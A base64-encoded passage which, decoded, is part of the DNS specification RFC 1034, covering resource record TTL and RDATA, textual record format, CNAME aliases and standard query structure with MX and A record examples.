HByb3RvY29sLgoKICAgICAgICAgICAgICAgIFRoaXMgbWVtbyB1c2VzIHRoZSBmb2xsb3dpbmcgY2xhc3NlczoKCiAgICAgICAgICAgICAgICBJTiAgICAgICAgICAgICAgdGhlIEludGVybmV0IHN5c3RlbQoKICAgICAgICAgICAgICAgIENIICAgICAgICAgICAgICB0aGUgQ2hhb3Mgc3lzdGVtCgpUVEwgICAgICAgICAgICAgd2hpY2ggaXMgdGhlIHRpbWUgdG8gbGl2ZSBvZiB0aGUgUlIuICBUaGlzIGZpZWxkIGlzIGEgMzIKICAgICAgICAgICAgICAgIGJpdCBpbnRlZ2VyIGluIHVuaXRzIG9mIHNlY29uZHMsIGFuIGlzIHByaW1hcmlseSB1c2VkIGJ5CiAgICAgICAgICAgICAgICByZXNvbHZlcnMgd2hlbiB0aGV5IGNhY2hlIFJScy4gIFRoZSBUVEwgZGVzY3JpYmVzIGhvdwogICAgICAgICAgICAgICAgbG9uZyBhIFJSIGNhbiBiZSBjYWNoZWQgYmVmb3JlIGl0IHNob3VsZCBiZSBkaXNjYXJkZWQuCgoKCgpNb2NrYXBldHJpcyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbUGFnZSAxMl0KDApSRkMgMTAzNCAgICAgICAgICAgICBEb21haW4gQ29uY2VwdHMgYW5kIEZhY2lsaXRpZXMgICAgICAgIE5vdmVtYmVyIDE5ODcKCgpSREFUQSAgICAgICAgICAgd2hpY2ggaXMgdGhlIHR5cGUgYW5kIHNvbWV0aW1lcyBjbGFzcyBkZXBlbmRlbnQgZGF0YQogICAgICAgICAgICAgICAgd2hpY2ggZGVzY3JpYmVzIHRoZSByZXNvdXJjZToKCiAgICAgICAgICAgICAgICBBICAgICAgICAgICAgICAgRm9yIHRoZSBJTiBjbGFzcywgYSAzMiBiaXQgSVAgYWRkcmVzcwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBGb3IgdGhlIENIIGNsYXNzLCBhIGRvbWFpbiBuYW1lIGZvbGxvd2VkCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnkgYSAxNiBiaXQgb2N0YWwgQ2hhb3MgYWRkcmVzcy4KCiAgICAgICAgICAgICAgICBDTkFNRSAgICAgICAgICAgYSBkb21haW4gbmFtZS4KCiAgICAgICAgICAgICAgICBNWCAgICAgICAgICAgICAgYSAxNiBiaXQgcHJlZmVyZW5jZSB2YWx1ZSAobG93ZXIgaXMKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiZXR0ZXIpIGZvbGxvd2VkIGJ5IGEgaG9zdCBuYW1lIHdpbGxpbmcKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0byBhY3QgYXMgYSBtYWlsIGV4Y2hhbmdlIGZvciB0aGUgb3duZXIKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb21haW4uCgogICAgICAgICAgICAgICAgTlMgICAgICAgICAgICAgIGEgaG9zdCBuYW1lLgoKICAgICAgICAgICAgICAgIFBUUiAgICAgICAgICAgICBhIGRvbWFpbiBuYW1lLgoKICAgICAgICAgICAgICAgIFNPQSAgICAgICAgICAgICBzZXZlcmFsIGZpZWxkcy4KClRoZSBvd25lciBuYW1lIGlzIG9mdGVuIGltcGxpY2l0LCByYXRoZXIgdGhhbiBmb3JtaW5nIGFuIGludGVncmFsIHBhcnQKb2YgdGhlIFJSLiAgRm9yIGV4YW1wbGUsIG1hbnkgbmFtZSBzZXJ2ZXJzIGludGVybmFsbHkgZm9ybSB0cmVlIG9yIGhhc2gKc3RydWN0dXJlcyBmb3IgdGhlIG5hbWUgc3BhY2UsIGFuZCBjaGFpbiBSUnMgb2ZmIG5vZGVzLiAgVGhlIHJlbWFpbmluZwpSUiBwYXJ0cyBhcmUgdGhlIGZpeGVkIGhlYWRlciAodHlwZSwgY2xhc3MsIFRUTCkgd2hpY2ggaXMgY29uc2lzdGVudCBmb3IKYWxsIFJScywgYW5kIGEgdmFyaWFibGUgcGFydCAoUkRBVEEpIHRoYXQgZml0cyB0aGUgbmVlZHMgb2YgdGhlIHJlc291cmNlCmJlaW5nIGRlc2NyaWJlZC4KClRoZSBtZWFuaW5nIG9mIHRoZSBUVEwgZmllbGQgaXMgYSB0aW1lIGxpbWl0IG9uIGhvdyBsb25nIGFuIFJSIGNhbiBiZQprZXB0IGluIGEgY2FjaGUuICBUaGlzIGxpbWl0IGRvZXMgbm90IGFwcGx5IHRvIGF1dGhvcml0YXRpdmUgZGF0YSBpbgp6b25lczsgaXQgaXMgYWxzbyB0aW1lZCBvdXQsIGJ1dCBieSB0aGUgcmVmcmVzaGluZyBwb2xpY2llcyBmb3IgdGhlCnpvbmUuICBUaGUgVFRMIGlzIGFzc2lnbmVkIGJ5IHRoZSBhZG1pbmlzdHJhdG9yIGZvciB0aGUgem9uZSB3aGVyZSB0aGUKZGF0YSBvcmlnaW5hdGVzLiAgV2hpbGUgc2hvcnQgVFRMcyBjYW4gYmUgdXNlZCB0byBtaW5pbWl6ZSBjYWNoaW5nLCBhbmQKYSB6ZXJvIFRUTCBwcm9oaWJpdHMgY2FjaGluZywgdGhlIHJlYWxpdGllcyBvZiBJbnRlcm5ldCBwZXJmb3JtYW5jZQpzdWdnZXN0IHRoYXQgdGhlc2UgdGltZXMgc2hvdWxkIGJlIG9uIHRoZSBvcmRlciBvZiBkYXlzIGZvciB0aGUgdHlwaWNhbApob3N0LiAgSWYgYSBjaGFuZ2UgY2FuIGJlIGFudGljaXBhdGVkLCB0aGUgVFRMIGNhbiBiZSByZWR1Y2VkIHByaW9yIHRvCnRoZSBjaGFuZ2UgdG8gbWluaW1pemUgaW5jb25zaXN0ZW5jeSBkdXJpbmcgdGhlIGNoYW5nZSwgYW5kIHRoZW4KaW5jcmVhc2VkIGJhY2sgdG8gaXRzIGZvcm1lciB2YWx1ZSBmb2xsb3dpbmcgdGhlIGNoYW5nZS4KClRoZSBkYXRhIGluIHRoZSBSREFUQSBzZWN0aW9uIG9mIFJScyBpcyBjYXJyaWVkIGFzIGEgY29tYmluYXRpb24gb2YKYmluYXJ5IHN0cmluZ3MgYW5kIGRvbWFpbiBuYW1lcy4gIFRoZSBkb21haW4gbmFtZXMgYXJlIGZyZXF1ZW50bHkgdXNlZAphcyAicG9pbnRlcnMiIHRvIG90aGVyIGRhdGEgaW4gdGhlIEROUy4KCjMuNi4xLiBUZXh0dWFsIGV4cHJlc3Npb24gb2YgUlJzCgpSUnMgYXJlIHJlcHJlc2VudGVkIGluIGJpbmFyeSBmb3JtIGluIHRoZSBwYWNrZXRzIG9mIHRoZSBETlMgcHJvdG9jb2wsCmFuZCBhcmUgdXN1YWxseSByZXByZXNlbnRlZCBpbiBoaWdobHkgZW5jb2RlZCBmb3JtIHdoZW4gc3RvcmVkIGluIGEgbmFtZQpzZXJ2ZXIgb3IgcmVzb2x2ZXIuICBJbiB0aGlzIG1lbW8sIHdlIGFkb3B0IGEgc3R5bGUgc2ltaWxhciB0byB0aGF0IHVzZWQKCgoKTW9ja2FwZXRyaXMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1BhZ2UgMTNdCgwKUkZDIDEwMzQgICAgICAgICAgICAgRG9tYWluIENvbmNlcHRzIGFuZCBGYWNpbGl0aWVzICAgICAgICBOb3ZlbWJlciAxOTg3CgoKaW4gbWFzdGVyIGZpbGVzIGluIG9yZGVyIHRvIHNob3cgdGhlIGNvbnRlbnRzIG9mIFJScy4gIEluIHRoaXMgZm9ybWF0LAptb3N0IFJScyBhcmUgc2hvd24gb24gYSBzaW5nbGUgbGluZSwgYWx0aG91Z2ggY29udGludWF0aW9uIGxpbmVzIGFyZQpwb3NzaWJsZSB1c2luZyBwYXJlbnRoZXNlcy4KClRoZSBzdGFydCBvZiB0aGUgbGluZSBnaXZlcyB0aGUgb3duZXIgb2YgdGhlIFJSLiAgSWYgYSBsaW5lIGJlZ2lucyB3aXRoCmEgYmxhbmssIHRoZW4gdGhlIG93bmVyIGlzIGFzc3VtZWQgdG8gYmUgdGhlIHNhbWUgYXMgdGhhdCBvZiB0aGUKcHJldmlvdXMgUlIuICBCbGFuayBsaW5lcyBhcmUgb2Z0ZW4gaW5jbHVkZWQgZm9yIHJlYWRhYmlsaXR5LgoKRm9sbG93aW5nIHRoZSBvd25lciwgd2UgbGlzdCB0aGUgVFRMLCB0eXBlLCBhbmQgY2xhc3Mgb2YgdGhlIFJSLiAgQ2xhc3MKYW5kIHR5cGUgdXNlIHRoZSBtbmVtb25pY3MgZGVmaW5lZCBhYm92ZSwgYW5kIFRUTCBpcyBhbiBpbnRlZ2VyIGJlZm9yZQp0aGUgdHlwZSBmaWVsZC4gIEluIG9yZGVyIHRvIGF2b2lkIGFtYmlndWl0eSBpbiBwYXJzaW5nLCB0eXBlIGFuZCBjbGFzcwptbmVtb25pY3MgYXJlIGRpc2pvaW50LCBUVExzIGFyZSBpbnRlZ2VycywgYW5kIHRoZSB0eXBlIG1uZW1vbmljIGlzCmFsd2F5cyBsYXN0LiBUaGUgSU4gY2xhc3MgYW5kIFRUTCB2YWx1ZXMgYXJlIG9mdGVuIG9taXR0ZWQgZnJvbSBleGFtcGxlcwppbiB0aGUgaW50ZXJlc3RzIG9mIGNsYXJpdHkuCgpUaGUgcmVzb3VyY2UgZGF0YSBvciBSREFUQSBzZWN0aW9uIG9mIHRoZSBSUiBhcmUgZ2l2ZW4gdXNpbmcga25vd2xlZGdlCm9mIHRoZSB0eXBpY2FsIHJlcHJlc2VudGF0aW9uIGZvciB0aGUgZGF0YS4KCkZvciBleGFtcGxlLCB3ZSBtaWdodCBzaG93IHRoZSBSUnMgY2FycmllZCBpbiBhIG1lc3NhZ2UgYXM6CgogICAgSVNJLkVEVS4gICAgICAgIE1YICAgICAgMTAgVkVORVJBLklTSS5FRFUuCiAgICAgICAgICAgICAgICAgICAgTVggICAgICAxMCBWQVhBLklTSS5FRFUuCiAgICBWRU5FUkEuSVNJLkVEVS4gQSAgICAgICAxMjguOS4wLjMyCiAgICAgICAgICAgICAgICAgICAgQSAgICAgICAxMC4xLjAuNTIKICAgIFZBWEEuSVNJLkVEVS4gICBBICAgICAgIDEwLjIuMC4yNwogICAgICAgICAgICAgICAgICAgIEEgICAgICAgMTI4LjkuMC4zMwoKVGhlIE1YIFJScyBoYXZlIGFuIFJEQVRBIHNlY3Rpb24gd2hpY2ggY29uc2lzdHMgb2YgYSAxNiBiaXQgbnVtYmVyCmZvbGxvd2VkIGJ5IGEgZG9tYWluIG5hbWUuICBUaGUgYWRkcmVzcyBSUnMgdXNlIGEgc3RhbmRhcmQgSVAgYWRkcmVzcwpmb3JtYXQgdG8gY29udGFpbiBhIDMyIGJpdCBpbnRlcm5ldCBhZGRyZXNzLgoKVGhpcyBleGFtcGxlIHNob3dzIHNpeCBSUnMsIHdpdGggdHdvIFJScyBhdCBlYWNoIG9mIHRocmVlIGRvbWFpbiBuYW1lcy4KClNpbWlsYXJseSB3ZSBtaWdodCBzZWU6CgogICAgWFguTENTLk1JVC5FRFUuIElOICAgICAgQSAgICAgICAxMC4wLjAuNDQKICAgICAgICAgICAgICAgICAgICBDSCAgICAgIEEgICAgICAgTUlULkVEVS4gMjQyMAoKVGhpcyBleGFtcGxlIHNob3dzIHR3byBhZGRyZXNzZXMgZm9yIFhYLkxDUy5NSVQuRURVLCBlYWNoIG9mIGEgZGlmZmVyZW50CmNsYXNzLgoKMy42LjIuIEFsaWFzZXMgYW5kIGNhbm9uaWNhbCBuYW1lcwoKSW4gZXhpc3Rpbmcgc3lzdGVtcywgaG9zdHMgYW5kIG90aGVyIHJlc291cmNlcyBvZnRlbiBoYXZlIHNldmVyYWwgbmFtZXMKdGhhdCBpZGVudGlmeSB0aGUgc2FtZSByZXNvdXJjZS4gIEZvciBleGFtcGxlLCB0aGUgbmFtZXMgQy5JU0kuRURVIGFuZApVU0MtSVNJQy5BUlBBIGJvdGggaWRlbnRpZnkgdGhlIHNhbWUgaG9zdC4gIFNpbWlsYXJseSwgaW4gdGhlIGNhc2Ugb2YKbWFpbGJveGVzLCBtYW55IG9yZ2FuaXphdGlvbnMgcHJvdmlkZSBtYW55IG5hbWVzIHRoYXQgYWN0dWFsbHkgZ28gdG8gdGhlCnNhbWUgbWFpbGJveDsgZm9yIGV4YW1wbGUgTW9ja2FwZXRyaXNAQy5JU0kuRURVLCBNb2NrYXBldHJpc0BCLklTSS5FRFUsCgoKCk1vY2thcGV0cmlzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtQYWdlIDE0XQoMClJGQyAxMDM0ICAgICAgICAgICAgIERvbWFpbiBDb25jZXB0cyBhbmQgRmFjaWxpdGllcyAgICAgICAgTm92ZW1iZXIgMTk4NwoKCmFuZCBQVk1ASVNJLkVEVSBhbGwgZ28gdG8gdGhlIHNhbWUgbWFpbGJveCAoYWx0aG91Z2ggdGhlIG1lY2hhbmlzbQpiZWhpbmQgdGhpcyBpcyBzb21ld2hhdCBjb21wbGljYXRlZCkuCgpNb3N0IG9mIHRoZXNlIHN5c3RlbXMgaGF2ZSBhIG5vdGlvbiB0aGF0IG9uZSBvZiB0aGUgZXF1aXZhbGVudCBzZXQgb2YKbmFtZXMgaXMgdGhlIGNhbm9uaWNhbCBvciBwcmltYXJ5IG5hbWUgYW5kIGFsbCBvdGhlcnMgYXJlIGFsaWFzZXMuCgpUaGUgZG9tYWluIHN5c3RlbSBwcm92aWRlcyBzdWNoIGEgZmVhdHVyZSB1c2luZyB0aGUgY2Fub25pY2FsIG5hbWUKKENOQU1FKSBSUi4gIEEgQ05BTUUgUlIgaWRlbnRpZmllcyBpdHMgb3duZXIgbmFtZSBhcyBhbiBhbGlhcywgYW5kCnNwZWNpZmllcyB0aGUgY29ycmVzcG9uZGluZyBjYW5vbmljYWwgbmFtZSBpbiB0aGUgUkRBVEEgc2VjdGlvbiBvZiB0aGUKUlIuICBJZiBhIENOQU1FIFJSIGlzIHByZXNlbnQgYXQgYSBub2RlLCBubyBvdGhlciBkYXRhIHNob3VsZCBiZQpwcmVzZW50OyB0aGlzIGVuc3VyZXMgdGhhdCB0aGUgZGF0YSBmb3IgYSBjYW5vbmljYWwgbmFtZSBhbmQgaXRzIGFsaWFzZXMKY2Fubm90IGJlIGRpZmZlcmVudC4gIFRoaXMgcnVsZSBhbHNvIGluc3VyZXMgdGhhdCBhIGNhY2hlZCBDTkFNRSBjYW4gYmUKdXNlZCB3aXRob3V0IGNoZWNraW5nIHdpdGggYW4gYXV0aG9yaXRhdGl2ZSBzZXJ2ZXIgZm9yIG90aGVyIFJSIHR5cGVzLgoKQ05BTUUgUlJzIGNhdXNlIHNwZWNpYWwgYWN0aW9uIGluIEROUyBzb2Z0d2FyZS4gIFdoZW4gYSBuYW1lIHNlcnZlcgpmYWlscyB0byBmaW5kIGEgZGVzaXJlZCBSUiBpbiB0aGUgcmVzb3VyY2Ugc2V0IGFzc29jaWF0ZWQgd2l0aCB0aGUKZG9tYWluIG5hbWUsIGl0IGNoZWNrcyB0byBzZWUgaWYgdGhlIHJlc291cmNlIHNldCBjb25zaXN0cyBvZiBhIENOQU1FCnJlY29yZCB3aXRoIGEgbWF0Y2hpbmcgY2xhc3MuICBJZiBzbywgdGhlIG5hbWUgc2VydmVyIGluY2x1ZGVzIHRoZSBDTkFNRQpyZWNvcmQgaW4gdGhlIHJlc3BvbnNlIGFuZCByZXN0YXJ0cyB0aGUgcXVlcnkgYXQgdGhlIGRvbWFpbiBuYW1lCnNwZWNpZmllZCBpbiB0aGUgZGF0YSBmaWVsZCBvZiB0aGUgQ05BTUUgcmVjb3JkLiAgVGhlIG9uZSBleGNlcHRpb24gdG8KdGhpcyBydWxlIGlzIHRoYXQgcXVlcmllcyB3aGljaCBtYXRjaCB0aGUgQ05BTUUgdHlwZSBhcmUgbm90IHJlc3RhcnRlZC4KCkZvciBleGFtcGxlLCBzdXBwb3NlIGEgbmFtZSBzZXJ2ZXIgd2FzIHByb2Nlc3NpbmcgYSBxdWVyeSB3aXRoIGZvciBVU0MtCklTSUMuQVJQQSwgYXNraW5nIGZvciB0eXBlIEEgaW5mb3JtYXRpb24sIGFuZCBoYWQgdGhlIGZvbGxvd2luZyByZXNvdXJjZQpyZWNvcmRzOgoKICAgIFVTQy1JU0lDLkFSUEEgICBJTiAgICAgIENOQU1FICAgQy5JU0kuRURVCgogICAgQy5JU0kuRURVICAgICAgIElOICAgICAgQSAgICAgICAxMC4wLjAuNTIKCkJvdGggb2YgdGhlc2UgUlJzIHdvdWxkIGJlIHJldHVybmVkIGluIHRoZSByZXNwb25zZSB0byB0aGUgdHlwZSBBIHF1ZXJ5LAp3aGlsZSBhIHR5cGUgQ05BTUUgb3IgKiBxdWVyeSBzaG91bGQgcmV0dXJuIGp1c3QgdGhlIENOQU1FLgoKRG9tYWluIG5hbWVzIGluIFJScyB3aGljaCBwb2ludCBhdCBhbm90aGVyIG5hbWUgc2hvdWxkIGFsd2F5cyBwb2ludCBhdAp0aGUgcHJpbWFyeSBuYW1lIGFuZCBub3QgdGhlIGFsaWFzLiAgVGhpcyBhdm9pZHMgZXh0cmEgaW5kaXJlY3Rpb25zIGluCmFjY2Vzc2luZyBpbmZvcm1hdGlvbi4gIEZvciBleGFtcGxlLCB0aGUgYWRkcmVzcyB0byBuYW1lIFJSIGZvciB0aGUKYWJvdmUgaG9zdCBzaG91bGQgYmU6CgogICAgNTIuMC4wLjEwLklOLUFERFIuQVJQQSAgSU4gICAgICBQVFIgICAgIEMuSVNJLkVEVQoKcmF0aGVyIHRoYW4gcG9pbnRpbmcgYXQgVVNDLUlTSUMuQVJQQS4gIE9mIGNvdXJzZSwgYnkgdGhlIHJvYnVzdG5lc3MKcHJpbmNpcGxlLCBkb21haW4gc29mdHdhcmUgc2hvdWxkIG5vdCBmYWlsIHdoZW4gcHJlc2VudGVkIHdpdGggQ05BTUUKY2hhaW5zIG9yIGxvb3BzOyBDTkFNRSBjaGFpbnMgc2hvdWxkIGJlIGZvbGxvd2VkIGFuZCBDTkFNRSBsb29wcwpzaWduYWxsZWQgYXMgYW4gZXJyb3IuCgozLjcuIFF1ZXJpZXMKClF1ZXJpZXMgYXJlIG1lc3NhZ2VzIHdoaWNoIG1heSBiZSBzZW50IHRvIGEgbmFtZSBzZXJ2ZXIgdG8gcHJvdm9rZSBhCgoKCk1vY2thcGV0cmlzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtQYWdlIDE1XQoMClJGQyAxMDM0ICAgICAgICAgICAgIERvbWFpbiBDb25jZXB0cyBhbmQgRmFjaWxpdGllcyAgICAgICAgTm92ZW1iZXIgMTk4NwoKCnJlc3BvbnNlLiAgSW4gdGhlIEludGVybmV0LCBxdWVyaWVzIGFyZSBjYXJyaWVkIGluIFVEUCBkYXRhZ3JhbXMgb3Igb3ZlcgpUQ1AgY29ubmVjdGlvbnMuICBUaGUgcmVzcG9uc2UgYnkgdGhlIG5hbWUgc2VydmVyIGVpdGhlciBhbnN3ZXJzIHRoZQpxdWVzdGlvbiBwb3NlZCBpbiB0aGUgcXVlcnksIHJlZmVycyB0aGUgcmVxdWVzdGVyIHRvIGFub3RoZXIgc2V0IG9mIG5hbWUKc2VydmVycywgb3Igc2lnbmFscyBzb21lIGVycm9yIGNvbmRpdGlvbi4KCkluIGdlbmVyYWwsIHRoZSB1c2VyIGRvZXMgbm90IGdlbmVyYXRlIHF1ZXJpZXMgZGlyZWN0bHksIGJ1dCBpbnN0ZWFkCm1ha2VzIGEgcmVxdWVzdCB0byBhIHJlc29sdmVyIHdoaWNoIGluIHR1cm4gc2VuZHMgb25lIG9yIG1vcmUgcXVlcmllcyB0bwpuYW1lIHNlcnZlcnMgYW5kIGRlYWxzIHdpdGggdGhlIGVycm9yIGNvbmRpdGlvbnMgYW5kIHJlZmVycmFscyB0aGF0IG1heQpyZXN1bHQuICBPZiBjb3Vyc2UsIHRoZSBwb3NzaWJsZSBxdWVzdGlvbnMgd2hpY2ggY2FuIGJlIGFza2VkIGluIGEgcXVlcnkKZG9lcyBzaGFwZSB0aGUga2luZCBvZiBzZXJ2aWNlIGEgcmVzb2x2ZXIgY2FuIHByb3ZpZGUuCgpETlMgcXVlcmllcyBhbmQgcmVzcG9uc2VzIGFyZSBjYXJyaWVkIGluIGEgc3RhbmRhcmQgbWVzc2FnZSBmb3JtYXQuICBUaGUKbWVzc2FnZSBmb3JtYXQgaGFzIGEgaGVhZGVyIGNvbnRhaW5pbmcgYSBudW1iZXIgb2YgZml4ZWQgZmllbGRzIHdoaWNoCmFyZSBhbHdheXMgcHJlc2VudCwgYW5kIGZvdXIgc2VjdGlvbnMgd2hpY2ggY2FycnkgcXVlcnkgcGFyYW1ldGVycyBhbmQKUlJzLgoKVGhlIG1vc3QgaW1wb3J0YW50IGZpZWxkIGluIHRoZSBoZWFkZXIgaXMgYSBmb3VyIGJpdCBmaWVsZCBjYWxsZWQgYW4Kb3Bjb2RlIHdoaWNoIHNlcGFyYXRlcyBkaWZmZXJlbnQgcXVlcmllcy4gIE9mIHRoZSBwb3NzaWJsZSAxNiB2YWx1ZXMsCm9uZSAoc3RhbmRhcmQgcXVlcnkpIGlzIHBhcnQgb2YgdGhlIG9mZmljaWFsIHByb3RvY29sLCB0d28gKGludmVyc2UKcXVlcnkgYW5kIHN0YXR1cyBxdWVyeSkgYXJlIG9wdGlvbnMsIG9uZSAoY29tcGxldGlvbikgaXMgb2Jzb2xldGUsIGFuZAp0aGUgcmVzdCBhcmUgdW5hc3NpZ25lZC4KClRoZSBmb3VyIHNlY3Rpb25zIGFyZToKClF1ZXN0aW9uICAgICAgICBDYXJyaWVzIHRoZSBxdWVyeSBuYW1lIGFuZCBvdGhlciBxdWVyeSBwYXJhbWV0ZXJzLgoKQW5zd2VyICAgICAgICAgIENhcnJpZXMgUlJzIHdoaWNoIGRpcmVjdGx5IGFuc3dlciB0aGUgcXVlcnkuCgpBdXRob3JpdHkgICAgICAgQ2FycmllcyBSUnMgd2hpY2ggZGVzY3JpYmUgb3RoZXIgYXV0aG9yaXRhdGl2ZSBzZXJ2ZXJzLgogICAgICAgICAgICAgICAgTWF5IG9wdGlvbmFsbHkgY2FycnkgdGhlIFNPQSBSUiBmb3IgdGhlIGF1dGhvcml0YXRpdmUKICAgICAgICAgICAgICAgIGRhdGEgaW4gdGhlIGFuc3dlciBzZWN0aW9uLgoKQWRkaXRpb25hbCAgICAgIENhcnJpZXMgUlJzIHdoaWNoIG1heSBiZSBoZWxwZnVsIGluIHVzaW5nIHRoZSBSUnMgaW4gdGhlCiAgICAgICAgICAgICAgICBvdGhlciBzZWN0aW9ucy4KCk5vdGUgdGhhdCB0aGUgY29udGVudCwgYnV0IG5vdCB0aGUgZm9ybWF0LCBvZiB0aGVzZSBzZWN0aW9ucyB2YXJpZXMgd2l0aApoZWFkZXIgb3Bjb2RlLgoKMy43LjEuIFN0YW5kYXJkIHF1ZXJpZXMKCkEgc3RhbmRhcmQgcXVlcnkgc3BlY2lmaWVzIGEgdGFyZ2V0IGRvbWFpbiBuYW1lIChRTkFNRSksIHF1ZXJ5IHR5cGUKKFFUWVBFKSwgYW5kIHF1ZXJ5IGNsYXNzIChRQ0xBU1MpIGFuZCBhc2tzIGZvciBSUnMgd2hpY2ggbWF0Y2guICBUaGlzCnR5cGUgb2YgcXVlcnkgbWFrZXMgdXAgc3VjaCBhIHZhc3QgbWFqb3JpdHkgb2YgRE5TIHF1ZXJpZXMgdGhhdCB3ZSB1c2UKdGhlIHRlcm0gInF1ZXJ5IiB0byBtZWFuIHN0YW5kYXJkIHF1ZXJ5IHVubGVzcyBvdGhlcndpc2Ugc3BlY2lmaWVkLiAgVGhlClFUWVBFIGFuZCBRQ0xBU1MgZmllbGRzIGFyZSBlYWNoIDE2IGJpdHMgbG9uZywgYW5kIGFyZSBhIHN1cGVyc2V0IG9mCmRlZmluZWQgdHlwZXMgYW5kIGNsYXNzZXMuCgoKCgoKTW9ja2FwZXRyaXMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1BhZ2UgMTZdCgwKUkZDIDEwMzQgICAgICAgICAgICAgRG9tYWluIENvbmNlcHRzIGFuZCBGYWNpbGl0aWVzICAgICAgICBOb3ZlbWJlciAxOTg3CgoKVGhlIFFUWVBFIGZpZWxkIG1heSBjb250YWluOgoKPGFueSB0eXBlPiAgICAgIG1hdGNoZXMganVzdCB0aGF0IHR5cGUuIChlLmcuLCBBLCBQVFIpLgoKQVhGUiAgICAgICAgICAgIHNwZWNpYWwgem9uZSB0cmFuc2ZlciBRVFlQRS4KCk1BSUxCICAgICAgICAgICBtYXRjaGVzIGFsbCBtYWlsIGJveCByZWxhdGVkIFJScyAoZS5nLiBNQiBhbmQgTUcpLgoKKiAgICAgICAgICAgICAgIG1hdGNoZXMgYWxsIFJSIHR5cGVzLgoKVGhlIFFDTEFTUyBmaWVsZCBtYXkgY29udGFpbjoKCjxhbnkgY2xhc3M+ICAgICBtYXRjaGVzIGp1c3QgdGhhdCBjbGFzcyAoZS5nLiwgSU4sIENIKS4KCiogICAgICAgICAgICAgICBtYXRjaGVzIGFMTCBSUiBjbGFzc2VzLgoKVXNpbmcgdGhlIHF1ZXJ5IGRvbWFpbiBuYW1lLCBRVFlQRSwgYW5kIFFDTEFTUywgdGhlIG5hbWUgc2VydmVyIGxvb2tzCmZvciBtYXRjaGluZyBSUnMuICBJbiBhZGRpdGlvbiB0byByZWxldmFudCByZWNvcmRzLCB0aGUgbmFtZSBzZXJ2ZXIgbWF5CnJldHVybiBSUnMgdGhhdCBwb2ludCB0b3dhcmQgYSBuYW1lIHNlcnZlciB0aGF0IGhhcyB0aGUgZGVzaXJlZAppbmZvcm1hdGlvbiBvciBSUnMgdGhhdCBhcmUgZXhwZWN0ZWQgdG8gYmUgdXNlZnVsIGluIGludGVycHJldGluZyB0aGUKcmVsZXZhbnQgUlJzLiAgRm9yIGV4YW1wbGUsIGEgbmFtZSBzZXJ2ZXIgdGhhdCBkb2Vzbid0IGhhdmUgdGhlCnJlcXVlc3RlZCBpbmZvcm1hdGlvbiBtYXkga25vdyBhIG5hbWUgc2VydmVyIHRoYXQgZG9lczsgYSBuYW1lIHNlcnZlcgp0aGF0IHJldHVybnMgYSBkb21haW4gbmFtZSBpbiBhIHJlbGV2YW50IFJSIG1heSBhbHNvIHJldHVybiB0aGUgUlIgdGhhdApiaW5kcyB0aGF0IGRvbWFpbiBuYW1lIHRvIGFuIGFkZHJlc3MuCgpGb3IgZXhhbXBsZSwgYSBtYWlsZXIgdHlpbmcgdG8gc2VuZCBtYWlsIHRvIE1vY2thcGV0cmlzQElTSS5FRFUgbWlnaHQKYXNrIHRoZSByZXNvbHZlciBmb3IgbWFpbCBpbmZvcm1hdGlvbiBhYm91dCBJU0kuRURVLCByZXN1bHRpbmcgaW4gYQpxdWVyeSBmb3IgUU5BTUU9SVNJLkVEVSwgUVRZUEU9TVgsIFFDTEFTUz1JTi4gIFRoZSByZXNwb25zZSdzIGFuc3dlcgpzZWN0aW9uIHdvdWxkIGJlOgoKICAgIElTSS5FRFUuICAgICAgICBNWCAgICAgIDEwIFZFTkVSQS5JU0kuRURVLgogICAgICAgICAgICAgICAgICAgIE1YICAgICAgMTAgVkFYQS5JU0kuRURVLgoKd2hpbGUgdGhlIGFkZGl0aW9uYWwgc2VjdGlvbiBtaWdodCBiZToKCiAgICBWQVhBLklTSS5FRFUuICAgQSAgICAgICAxMC4yLjAuMjcKICAgICAgICAgICAgICAgICAgICBBICAgICAgIDEyOC45LjAuMzMKICAgIFZFTkVSQS5JU0kuRURVLiBBICAgICAgIDEwLjEuMC41MgogICAgICAgICAgICAgICAgICAgIEEgICAgICAgMTI4LjkuMC4zMgoKQmVjYXVzZSB0aGUgc2VydmVyIGFzc3VtZXMgdGhhdCBpZiB0aGUgcmVxdWVzdGVyIHdhbnRzIG1haWwgZXhjaGFuZ2UKaW5mb3JtYXRpb24sIGl0IHdpbGwgcHJvYmFibHkgd2FudCB0aGUgYWRkcmVzc2VzIG9mIHRoZSBtYWlsIGV4Y2hhbmdlcwpzb29uIGFmdGVyd2FyZC4KCk5vdGUgdGhhdCB0aGUgUUNMQVNTPSogY29uc3RydWN0IHJlcXVpcmVzIHNwZWNpYWwgaW50ZXJwcmV0YXRpb24KcmVnYXJkaW5nIGF1dGhvcml0eS4gIFNpbmNlIGEgcGFydGljdWxhciBuYW1lIHNlcnZlciBtYXkgbm90IGtub3cgYWxsIG9mCnRoZSBjbGFzc2VzIGF2YWlsYWJsZSBpbiB0aGUgZG9tYWluIHN5c3RlbSwgaXQgY2FuIG5ldmVyIGtub3cgaWYgaXQgaXMKYXV0aG9yaXRhdGl2ZSBmb3IgYWxsIGNsYXNzZXMuICBIZW5jZSByZXNwb25zZXMgdG8gUUNMQVNTPSogcXVlcmllcyBjYW4KCgoKTW9ja2FwZXRyaXMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1BhZ2UgMTddCgwKUkZDIDEwMzQgICAgICAgICAgICAgRG9tYWluIENvbmNlcHRzIGFuZCBGYWNpbGl0aWVzICAgICAgICBOb3ZlbWJlciAxOTg3CgoKbmV2ZXIgYmUgYXV0aG9yaXRhdGl2ZS4KCjMuNy4yLiBJbnZlcnNlIHF1ZXJpZXMgKE9wdGlvbmFsKQoKTmFtZSBzZXJ2ZXJzIG1heSBhbHNvIHN1cHBvcnQgaW52ZXJzZSBxdWVyaWVzIHRoYXQgbWFwIGEgcGFydGljd